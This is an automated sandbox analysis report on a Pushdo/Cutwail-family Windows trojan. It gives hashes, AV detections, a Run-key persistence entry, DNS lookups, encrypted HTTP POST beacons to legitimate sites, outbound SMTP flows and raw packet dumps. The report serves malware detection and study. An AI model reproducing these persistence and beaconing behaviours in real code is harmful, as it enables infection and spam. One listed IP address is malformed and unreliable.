Analysis Date2014-07-13 23:18:32
MD5643cc83259d20ab3ebd2cff7b73a48ce
SHA18e7656f12fb3e96ef1a92e5fccffbdf18eaa2b28

Static Details:

File typePE32 executable for MS Windows (GUI) Intel 80386 32-bit
Section.text md5: fae87988c0e87f2502b69f61ad99f27e sha1: 0cc43a977bdcb5e8c4b7d486409543df02a05095 size: 1024
Section.rdata md5: a2feaf3ba629027ed0b7b0663a4836e0 sha1: 3b0ef5c293336d1f6446110672af463e64f55392 size: 512
Section.data md5: d41d8cd98f00b204e9800998ecf8427e sha1: da39a3ee5e6b4b0d3255bfef95601890afd80709 size: 0
Section.rsrc md5: 0c709d54f26966f04d1ceb3128b95d7e sha1: 0fbb24d7d8d7cf5601fc9360232a41d8c17970b9 size: 37888
Timestamp2004-11-21 18:47:29
VersionLegalCopyright: Copyright (C) 2000
InternalName: MPIRing
FileVersion: 1, 0, 0, 1
CompanyName:
LegalTrademarks:
ProductName: MPIRing Application
ProductVersion: 1, 0, 0, 1
FileDescription: MPIRing MFC Application
OriginalFilename: MPIRing.EXE
PEhashbf471dc64704c73f2e726b42040b59207263ad33
IMPhash8aa48b00dd80d2085cbbd81726a688be
AV360 SafeGen:Variant.Kazy.178254
AVAd-AwareGen:Variant.Kazy.178254
AVAlwil (avast)Downloader-TTM [Trj]
AVArcabit (arcavir)no_virus
AVAuthentiumno_virus
AVAvira (antivir)TR/Dropper.Gen
AVCA (E-Trust Ino)no_virus
AVCAT (quickheal)TrojanDownloader.CutWail.BS5
AVClamAVno_virus
AVDr. WebBackDoor.Bulknet.958
AVEmsisoftGen:Variant.Kazy.178254
AVEset (nod32)Win32/Kryptik.BEVU
AVFortinetW32/Kryptik.WHP!tr
AVFrisk (f-prot)no_virus
AVF-SecureGen:Variant.Kazy.178254
AVGrisoft (avg)Crypt_s.BOF
AVIkarusTrojan.Crypt_s
AVK7Backdoor ( 04c4b4911 )
AVKasperskyTrojan.Win32.Generic
AVMalwareBytesTrojan.Inject
AVMcafeeRDN/Generic Downloader.x!ir
AVMicrosoft Security EssentialsTrojanDownloader:Win32/Cutwail.BS
AVMicroWorld (escan)Gen:Variant.Kazy.178254
AVNormanwinpe/Troj_Generic.QNFVQ
AVRisingno_virus
AVSophosno_virus
AVSymantecTrojan.Pandex!gen3
AVTrend MicroBKDR_PUSHDO.SMP
AVVirusBlokAda (vba32)BScope.Trojan.Pushdo

Runtime Details:

Screenshot

Process
↳ C:\malware.exe

RegistryHKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\nojeabugetwe ➝
C:\Documents and Settings\Administrator\nojeabugetwe.exe
RegistryHKEY_CURRENT_CONFIG\Software\Microsoft\windows\CurrentVersion\Internet Settings\ProxyEnable ➝
NULL
RegistryHKEY_CURRENT_USER\software\microsoft\windows\currentversion\AppManagement ➝
NULL
RegistryHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass ➝
1
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\IIQ3LGTM\gmx[1].htm
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\D4Z32ED8\bigfoot[1].htm
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\BSDHA97U\mania[1].htm
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\658HSJSD\colorado[1].htm
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\IIQ3LGTM\mountainmax[1].htm
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\658HSJSD\todito[1].htm
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\BSDHA97U\infoseek[1].htm
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\IIQ3LGTM\dalet[1].htm
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\D4Z32ED8\catt[1].htm
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\BSDHA97U\air-internet[1].htm
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\IIQ3LGTM\yahoo.com[1].htm
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\IIQ3LGTM\nsatel[1].htm
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\D4Z32ED8\migente[1].htm
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\658HSJSD\vail[1].htm
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\658HSJSD\o2.co[1].htm
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\BSDHA97U\passagen[1].htm
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\D4Z32ED8\military[1].htm
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\658HSJSD\intelnet.net[1].htm
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\IIQ3LGTM\case[1].htm
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\IIQ3LGTM\byu[1].htm
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\index.dat
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\D4Z32ED8\carolina[1].htm
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\IIQ3LGTM\pinntech[1].htm
Creates FileC:\Documents and Settings\Administrator\nojeabugetwe.exe
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\IIQ3LGTM\mailshell[1].htm
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\D4Z32ED8\rock[1].htm
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\BSDHA97U\netsync[1].htm
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\BSDHA97U\rz-online[1].htm
Creates FileC:\Documents and Settings\Administrator\Local Settings\History\History.IE5\index.dat
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\D4Z32ED8\mailshell[1].htm
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\658HSJSD\comporium[1].htm
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\658HSJSD\earthlink[1].htm
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\658HSJSD\thetourbus[1].htm
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\BSDHA97U\manx[1].htm
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\D4Z32ED8\terra.com[1].htm
Creates FileC:\Documents and Settings\Administrator\Cookies\index.dat
Creates FilePIPE\lsarpc
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\658HSJSD\oakland[1].htm
Creates File\Device\Afd\Endpoint
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\IIQ3LGTM\sscomputing[1].htm
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\BSDHA97U\hanmail[1].htm
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\D4Z32ED8\eastlink[1].htm
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\D4Z32ED8\msu[1].htm
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\658HSJSD\orst[1].htm
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\658HSJSD\vampirefreaks[1].htm
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\IIQ3LGTM\hanmail[1].htm
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\BSDHA97U\laposte[1].htm
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\658HSJSD\comporium[2].htm
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\D4Z32ED8\mweb.co[1].htm
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\BSDHA97U\sympatico[1].htm
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\BSDHA97U\walmart[1].htm
Deletes FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\IIQ3LGTM\mailshell[1].htm
Creates Mutexc:!documents and settings!administrator!local settings!history!history.ie5!
Creates MutexWininetConnectionMutex
Creates Mutexc:!documents and settings!administrator!cookies!
Creates Mutexc:!documents and settings!administrator!local settings!temporary internet files!content.ie5!
Creates Mutexnojeabugetwe
Winsock DNSwalmart.com
Winsock DNSyahoo.com.tw
Winsock DNScolorado.edu
Winsock DNSbyu.edu
Winsock DNSorst.edu
Winsock DNSearthlink.com
Winsock DNSgmx.at
Winsock DNSpassagen.se
Winsock DNScase.edu
Winsock DNSnetsync.net
Winsock DNSbigfoot.com
Winsock DNSinfoseek.jp
Winsock DNSthetourbus.com
Winsock DNSo2.co.uk
Winsock DNSmanx.net
Winsock DNStodito.com
Winsock DNSoakland.edu
Winsock DNSrz-online.de
Winsock DNScatt.com
Winsock DNSrock.com
Winsock DNSterra.com.br
Winsock DNSvampirefreaks.com
Winsock DNScomporium.net
Winsock DNSmweb.co.za
Winsock DNSdalet.com
Winsock DNSsccoast.net
Winsock DNSmilitary.com
Winsock DNSpinntech.com
Winsock DNSair-internet.com
Winsock DNSmsu.edu
Winsock DNSsympatico.ca
Winsock DNSbriansmail.com
Winsock DNSvail.com
Winsock DNSlaposte.net
Winsock DNSmigente.com
Winsock DNScarolina.com
Winsock DNSeastlink.ca
Winsock DNSsscomputing.com
Winsock DNSmountainmax.net
Winsock DNSintelnet.net.gt
Winsock DNSmailshell.com
Winsock DNSnsatel.net
Winsock DNSmania.com
Winsock DNShanmail.net

Network Details:

DNSotakumail.com
Type: A
50.22.218.215
DNSmigente.com
Type: A
70.42.66.18
DNSbriansmail.com
Type: A
127.0.0.1
DNSbriansmail.com
Type: A
127.0.0.1
DNSinfoseek.jp
Type: A
133.237.48.26
DNSiies.es
Type: A
213.251.158.197
DNSasia.com
Type: A
72.55.150.59
DNSgoldcockerelbooks.co.uk
Type: A
127.0.0.1
DNSdiamondcpu.com
Type: A
75.151.74.38
DNSerzt.com
Type: A
89.31.143.10
DNShknetmail.com
Type: A
69.64.147.249
DNStodito.com
Type: A
72.32.108.144
DNSvampirefreaks.com
Type: A
198.24.37.193
DNSoakland.edu
Type: A
141.210.5.100
DNSearthlink.com
Type: A
209.86.93.202
DNSearthlink.com
Type: A
209.86.93.203
DNSearthlink.com
Type: A
209.86.93.204
DNSearthlink.com
Type: A
209.86.93.205
DNSearthlink.com
Type: A
209.86.93.206
DNSearthlink.com
Type: A
209.86.93.207
DNSearthlink.com
Type: A
209.86.93.208
DNSearthlink.com
Type: A
209.86.93.209
DNSearthlink.com
Type: A
209.86.93.210
DNSearthlink.com
Type: A
209.86.93.211
DNSearthlink.com
Type: A
209.86.93.201
DNSmanx.net
Type: A
195.192.168.1.251
DNSsympatico.ca
Type: A
206.47.72.104
DNShanmail.net
Type: A
117.52.2.25
DNShanmail.net
Type: A
117.52.2.26
DNShanmail.net
Type: A
117.52.2.237
DNShanmail.net
Type: A
117.52.2.238
DNShanmail.net
Type: A
180.70.93.55
DNShanmail.net
Type: A
180.70.93.56
DNShanmail.net
Type: A
180.70.93.57
DNShanmail.net
Type: A
180.70.134.9
DNShanmail.net
Type: A
180.70.134.19
DNShanmail.net
Type: A
180.70.134.91
DNShanmail.net
Type: A
211.244.82.107
DNShanmail.net
Type: A
211.244.82.108
DNShanmail.net
Type: A
211.244.82.179
DNShanmail.net
Type: A
211.244.82.180
DNShanmail.net
Type: A
61.111.62.35
DNShanmail.net
Type: A
61.111.62.165
DNShanmail.net
Type: A
110.45.215.15
DNShanmail.net
Type: A
114.108.157.116
DNShanmail.net
Type: A
114.108.157.117
DNShanmail.net
Type: A
114.108.157.155
DNSpassagen.se
Type: A
91.196.241.10
DNSmailshell.com
Type: A
209.157.66.253
DNSmountainmax.net
Type: A
65.38.128.10
DNSeastlink.ca
Type: A
24.222.14.12
DNScase.edu
Type: A
129.22.104.136
DNScarolina.com
Type: A
159.100.217.206
DNSbigfoot.com
Type: A
184.168.178.1
DNSthetourbus.com
Type: A
208.113.218.103
DNSlaposte.net
Type: A
130.193.27.21
DNSyahoo.com.tw
Type: A
68.180.206.184
DNSyahoo.com.tw
Type: A
106.10.165.51
DNSo2.co.uk
Type: A
82.132.141.84
DNSbyu.edu
Type: A
128.187.16.167
DNSpinntech.com
Type: A
34.254.247.151
DNSmweb.co.za
Type: A
196.2.63.110
DNSmilitary.com
Type: A
173.239.76.193
DNSintelnet.net.gt
Type: A
200.6.192.206
DNSrz-online.de
Type: A
213.182.5.180
DNScomporium.net
Type: A
208.104.2.209
DNSwalmart.com
Type: A
161.170.244.20
DNSwalmart.com
Type: A
161.170.248.20
DNSwilbursmith.com
Type: A
DNSasteriks.be
Type: A
DNSnetsync.net
Type: A
HTTP POSThttp://todito.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
HTTP POSThttp://vampirefreaks.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
HTTP POSThttp://oakland.edu/?ptrxcz_ATl5NgzHZsASk3LdYwFh1JbuDVo6Og
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
HTTP POSThttp://earthlink.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
HTTP POSThttp://manx.net/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
HTTP POSThttp://sympatico.ca/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
HTTP POSThttp://hanmail.net/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
HTTP POSThttp://passagen.se/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
HTTP POSThttp://hanmail.net/?ptrxcz_XsBUo7Qj3MfzIbvEXrATm6Pi1KdxGZ
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
HTTP POSThttp://mailshell.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
HTTP POSThttp://migente.com/?ptrxcz_l5si6Ph0JbuCUm5NfyGYr9Rj2KcvDV
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
HTTP POSThttp://mailshell.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
HTTP POSThttp://mailshell.com/?ptrxcz_g1JcvEXVvkX0JcvDWp7Qi1JcvDWp7Q
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
HTTP POSThttp://mountainmax.net/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
HTTP POSThttp://eastlink.ca/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
HTTP POSThttp://case.edu/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
HTTP POSThttp://carolina.com/?ptrxcz_bvEWp7Qi1KcvEWp7Qi1JcvDWp7Pi1J
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
HTTP POSThttp://bigfoot.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
HTTP POSThttp://thetourbus.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
HTTP POSThttp://laposte.net/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
HTTP POSThttp://yahoo.com.tw/?ptrxcz_Oi11CcwEXq9Rj3LexGYrASl4MfyHZs
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
HTTP POSThttp://o2.co.uk/?ptrxcz_Il5NgzHatBUm6Oh4NOl6Og0IatCUm6
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
HTTP POSThttp://infoseek.jp/?ptrxcz_0KdwFYVwJcwEXrATp8Rjc5e2TvEXr9
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
HTTP POSThttp://byu.edu/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
HTTP POSThttp://pinntech.com/?ptrxcz_FezIbwFXr9Sk3MeyJbvDWp8Qi2KcwE
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
HTTP POSThttp://mweb.co.za/?ptrxcz_Lf0KcwEXr9Sk4NfzHauCVo7Qi2KdxF
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
HTTP POSThttp://military.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
HTTP POSThttp://intelnet.net.gt/?ptrxcz_rASl4MfyGYsASk39Sl4MexFXq8Qi2K
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
HTTP POSThttp://rz-online.de/?ptrxcz_ayHZsBTl4PhxxHZtIKj2LdwEWq8Qi2
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
HTTP POSThttp://comporium.net/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Flows TCP192.168.1.1:1042 ➝ 133.237.48.26:25
Flows TCP192.168.1.1:1038 ➝ 213.251.158.197:25
Flows TCP192.168.1.1:1039 ➝ 72.55.150.59:25
Flows TCP192.168.1.1:1040 ➝ 50.22.218.215:25
Flows TCP192.168.1.1:1041 ➝ 70.42.66.18:25
Flows TCP192.168.1.1:1046 ➝ 75.151.74.38:25
Flows TCP192.168.1.1:1047 ➝ 89.31.143.10:25
Flows TCP192.168.1.1:1048 ➝ 69.64.147.249:25
Flows TCP192.168.1.1:1049 ➝ 72.32.108.144:80
Flows TCP192.168.1.1:1050 ➝ 198.24.37.193:80
Flows TCP192.168.1.1:1051 ➝ 141.210.5.100:80
Flows TCP192.168.1.1:1052 ➝ 209.86.93.202:80
Flows TCP192.168.1.1:1053 ➝ 195.192.168.1.251:80
Flows TCP192.168.1.1:1054 ➝ 206.47.72.104:80
Flows TCP192.168.1.1:1055 ➝ 117.52.2.25:80
Flows TCP192.168.1.1:1056 ➝ 91.196.241.10:80
Flows TCP192.168.1.1:1057 ➝ 117.52.2.25:80
Flows TCP192.168.1.1:1058 ➝ 209.157.66.253:80
Flows TCP192.168.1.1:1059 ➝ 70.42.66.18:80
Flows TCP192.168.1.1:1060 ➝ 209.157.66.253:80
Flows TCP192.168.1.1:1061 ➝ 209.157.66.253:80
Flows TCP192.168.1.1:1062 ➝ 65.38.128.10:80
Flows TCP192.168.1.1:1063 ➝ 24.222.14.12:80
Flows TCP192.168.1.1:1064 ➝ 129.22.104.136:80
Flows TCP192.168.1.1:1065 ➝ 159.100.217.206:80
Flows TCP192.168.1.1:1066 ➝ 184.168.178.1:80
Flows TCP192.168.1.1:1067 ➝ 208.113.218.103:80
Flows TCP192.168.1.1:1069 ➝ 130.193.27.21:80
Flows TCP192.168.1.1:1070 ➝ 68.180.206.184:80
Flows TCP192.168.1.1:1071 ➝ 82.132.141.84:80
Flows TCP192.168.1.1:1072 ➝ 133.237.48.26:80
Flows TCP192.168.1.1:1073 ➝ 128.187.16.167:80
Flows TCP192.168.1.1:1074 ➝ 34.254.247.151:80
Flows TCP192.168.1.1:1075 ➝ 196.2.63.110:80
Flows TCP192.168.1.1:1076 ➝ 173.239.76.193:80
Flows TCP192.168.1.1:1077 ➝ 200.6.192.206:80
Flows TCP192.168.1.1:1078 ➝ 213.182.5.180:80
Flows TCP192.168.1.1:1079 ➝ 208.104.2.209:80

Raw Pcap
0x00000000 (00000)   504f5354 202f2048 5454502f 312e310d   POST / HTTP/1.1.
0x00000010 (00016)   0a416363 6570743a 202a2f2a 0d0a4163   .Accept: */*..Ac
0x00000020 (00032)   63657074 2d4c616e 67756167 653a2065   cept-Language: e
0x00000030 (00048)   6e2d7573 0d0a436f 6e74656e 742d5479   n-us..Content-Ty
0x00000040 (00064)   70653a20 6170706c 69636174 696f6e2f   pe: application/
0x00000050 (00080)   6f637465 742d7374 7265616d 0d0a436f   octet-stream..Co
0x00000060 (00096)   6e74656e 742d4c65 6e677468 3a20320d   ntent-Length: 2.
0x00000070 (00112)   0a557365 722d4167 656e743a 204d6f7a   .User-Agent: Moz
0x00000080 (00128)   696c6c61 2f342e30 2028636f 6d706174   illa/4.0 (compat
0x00000090 (00144)   69626c65 3b204d53 49452036 2e303b20   ible; MSIE 6.0; 
0x000000a0 (00160)   57696e64 6f777320 4e542035 2e313b20   Windows NT 5.1; 
0x000000b0 (00176)   53563129 0d0a486f 73743a20 746f6469   SV1)..Host: todi
0x000000c0 (00192)   746f2e63 6f6d0d0a 436f6e6e 65637469   to.com..Connecti
0x000000d0 (00208)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000e0 (00224)   43616368 652d436f 6e74726f 6c3a206e   Cache-Control: n
0x000000f0 (00240)   6f2d6361 6368650d 0a0d0ab0 7c736361   o-cache.....|sca
0x00000100 (00256)   6e207479 70653a20 53594e              n type: SYN

0x00000000 (00000)   504f5354 202f2048 5454502f 312e310d   POST / HTTP/1.1.
0x00000010 (00016)   0a416363 6570743a 202a2f2a 0d0a4163   .Accept: */*..Ac
0x00000020 (00032)   63657074 2d4c616e 67756167 653a2065   cept-Language: e
0x00000030 (00048)   6e2d7573 0d0a436f 6e74656e 742d5479   n-us..Content-Ty
0x00000040 (00064)   70653a20 6170706c 69636174 696f6e2f   pe: application/
0x00000050 (00080)   6f637465 742d7374 7265616d 0d0a436f   octet-stream..Co
0x00000060 (00096)   6e74656e 742d4c65 6e677468 3a203937   ntent-Length: 97
0x00000070 (00112)   0d0a5573 65722d41 67656e74 3a204d6f   ..User-Agent: Mo
0x00000080 (00128)   7a696c6c 612f342e 30202863 6f6d7061   zilla/4.0 (compa
0x00000090 (00144)   7469626c 653b204d 53494520 362e303b   tible; MSIE 6.0;
0x000000a0 (00160)   2057696e 646f7773 204e5420 352e313b    Windows NT 5.1;
0x000000b0 (00176)   20535631 290d0a48 6f73743a 2076616d    SV1)..Host: vam
0x000000c0 (00192)   70697265 66726561 6b732e63 6f6d0d0a   pirefreaks.com..
0x000000d0 (00208)   436f6e6e 65637469 6f6e3a20 4b656570   Connection: Keep
0x000000e0 (00224)   2d416c69 76650d0a 43616368 652d436f   -Alive..Cache-Co
0x000000f0 (00240)   6e74726f 6c3a206e 6f2d6361 6368650d   ntrol: no-cache.
0x00000100 (00256)   0a0d0a12 80fbb709 13deb9f3 3fa7bbea   ............?...
0x00000110 (00272)   d289bde1 656cbfcb 9235c1c2 2518c3ac   ....el...5..%...
0x00000120 (00288)   52e1c4a3 e5c3c68d 128dc884 a56fca6e   R............o.n
0x00000130 (00304)   d238cc65 651bce4f 92e4cf46 25c7d130   .8.ee..O...F%..0
0x00000140 (00320)   5290d327 e572d511 123cd708 a51ed92a   R..'.r...<.....*
0x00000150 (00336)   d2e7da0c 65cadc03 f8acde3e 2976e030   ....e......>)v.0
0x00000160 (00352)   15c747ab                              ..G.

0x00000000 (00000)   504f5354 202f3f70 74727863 7a5f4154   POST /?ptrxcz_AT
0x00000010 (00016)   6c354e67 7a485a73 41536b33 4c645977   l5NgzHZsASk3LdYw
0x00000020 (00032)   4668314a 62754456 6f364f67 20485454   Fh1JbuDVo6Og HTT
0x00000030 (00048)   502f312e 310d0a41 63636570 743a202a   P/1.1..Accept: *
0x00000040 (00064)   2f2a0d0a 41636365 70742d4c 616e6775   /*..Accept-Langu
0x00000050 (00080)   6167653a 20656e2d 75730d0a 436f6e74   age: en-us..Cont
0x00000060 (00096)   656e742d 54797065 3a206170 706c6963   ent-Type: applic
0x00000070 (00112)   6174696f 6e2f6f63 7465742d 73747265   ation/octet-stre
0x00000080 (00128)   616d0d0a 436f6e74 656e742d 4c656e67   am..Content-Leng
0x00000090 (00144)   74683a20 3230340d 0a557365 722d4167   th: 204..User-Ag
0x000000a0 (00160)   656e743a 204d6f7a 696c6c61 2f342e30   ent: Mozilla/4.0
0x000000b0 (00176)   2028636f 6d706174 69626c65 3b204d53    (compatible; MS
0x000000c0 (00192)   49452036 2e303b20 57696e64 6f777320   IE 6.0; Windows 
0x000000d0 (00208)   4e542035 2e313b20 53563129 0d0a486f   NT 5.1; SV1)..Ho
0x000000e0 (00224)   73743a20 6f616b6c 616e642e 6564750d   st: oakland.edu.
0x000000f0 (00240)   0a436f6e 6e656374 696f6e3a 204b6565   .Connection: Kee
0x00000100 (00256)   702d416c 6976650d 0a436163 68652d43   p-Alive..Cache-C
0x00000110 (00272)   6f6e7472 6f6c3a20 6e6f2d63 61636865   ontrol: no-cache
0x00000120 (00288)   0d0a0d0a 5140c7d8 3b6d90da 32         ....Q@..;m..2

0x00000000 (00000)   504f5354 202f2048 5454502f 312e310d   POST / HTTP/1.1.
0x00000010 (00016)   0a416363 6570743a 202a2f2a 0d0a4163   .Accept: */*..Ac
0x00000020 (00032)   63657074 2d4c616e 67756167 653a2065   cept-Language: e
0x00000030 (00048)   6e2d7573 0d0a436f 6e74656e 742d5479   n-us..Content-Ty
0x00000040 (00064)   70653a20 6170706c 69636174 696f6e2f   pe: application/
0x00000050 (00080)   6f637465 742d7374 7265616d 0d0a436f   octet-stream..Co
0x00000060 (00096)   6e74656e 742d4c65 6e677468 3a203131   ntent-Length: 11
0x00000070 (00112)   360d0a55 7365722d 4167656e 743a204d   6..User-Agent: M
0x00000080 (00128)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x00000090 (00144)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000a0 (00160)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000b0 (00176)   3b205356 31290d0a 486f7374 3a206561   ; SV1)..Host: ea
0x000000c0 (00192)   7274686c 696e6b2e 636f6d0d 0a436f6e   rthlink.com..Con
0x000000d0 (00208)   6e656374 696f6e3a 204b6565 702d416c   nection: Keep-Al
0x000000e0 (00224)   6976650d 0a436163 68652d43 6f6e7472   ive..Cache-Contr
0x000000f0 (00240)   6f6c3a20 6e6f2d63 61636865 0d0a0d0a   ol: no-cache....
0x00000100 (00256)   08b0a899 82de481a 79712b1c 639ef41d   ......H.yq+.c...
0x00000110 (00272)   5a31d71f 445ea021 348d6923 bbbb99a5   Z1..D^.!4.i#....
0x00000120 (00288)   a66585a7 f977de28 f00ac12a aae7e0ac   .e...w.(...*....
0x00000130 (00304)   d1ca6c2e bcf73530 a524ff31 7db8e133   ..l...50.$.1}..3
0x00000140 (00320)   9e4fe830 bf117437 67a45639 89d11f3b   .O.0..t7g.V9...;
0x00000150 (00336)   5efee83c 5591cb3e 90c29440 7548cca7   ^..<U..>...@uH..
0x00000160 (00352)   fe7d4044 331a78ab de3dec47 a87f3f4a   .}@D3.x..=.G..?J
0x00000170 (00368)   81987e4b                              ..~K

0x00000000 (00000)   504f5354 202f2048 5454502f 312e310d   POST / HTTP/1.1.
0x00000010 (00016)   0a416363 6570743a 202a2f2a 0d0a4163   .Accept: */*..Ac
0x00000020 (00032)   63657074 2d4c616e 67756167 653a2065   cept-Language: e
0x00000030 (00048)   6e2d7573 0d0a436f 6e74656e 742d5479   n-us..Content-Ty
0x00000040 (00064)   70653a20 6170706c 69636174 696f6e2f   pe: application/
0x00000050 (00080)   6f637465 742d7374 7265616d 0d0a436f   octet-stream..Co
0x00000060 (00096)   6e74656e 742d4c65 6e677468 3a203232   ntent-Length: 22
0x00000070 (00112)   390d0a55 7365722d 4167656e 743a204d   9..User-Agent: M
0x00000080 (00128)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x00000090 (00144)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000a0 (00160)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000b0 (00176)   3b205356 31290d0a 486f7374 3a206d61   ; SV1)..Host: ma
0x000000c0 (00192)   6e782e6e 65740d0a 436f6e6e 65637469   nx.net..Connecti
0x000000d0 (00208)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000e0 (00224)   43616368 652d436f 6e74726f 6c3a206e   Cache-Control: n
0x000000f0 (00240)   6f2d6361 6368650d 0a0d0a77 d0d58434   o-cache....w...4
0x00000100 (00256)   1cdd850d 968888df e6500aa6 b1498c01   .........P...I..
0x00000110 (00272)   e6e60c37 86f58f77 5be0908b d15b1282   ...7...w[....[..
0x00000120 (00288)   643e146c 910716eb d240984d 51b31945   d>.l.....@.MQ..E
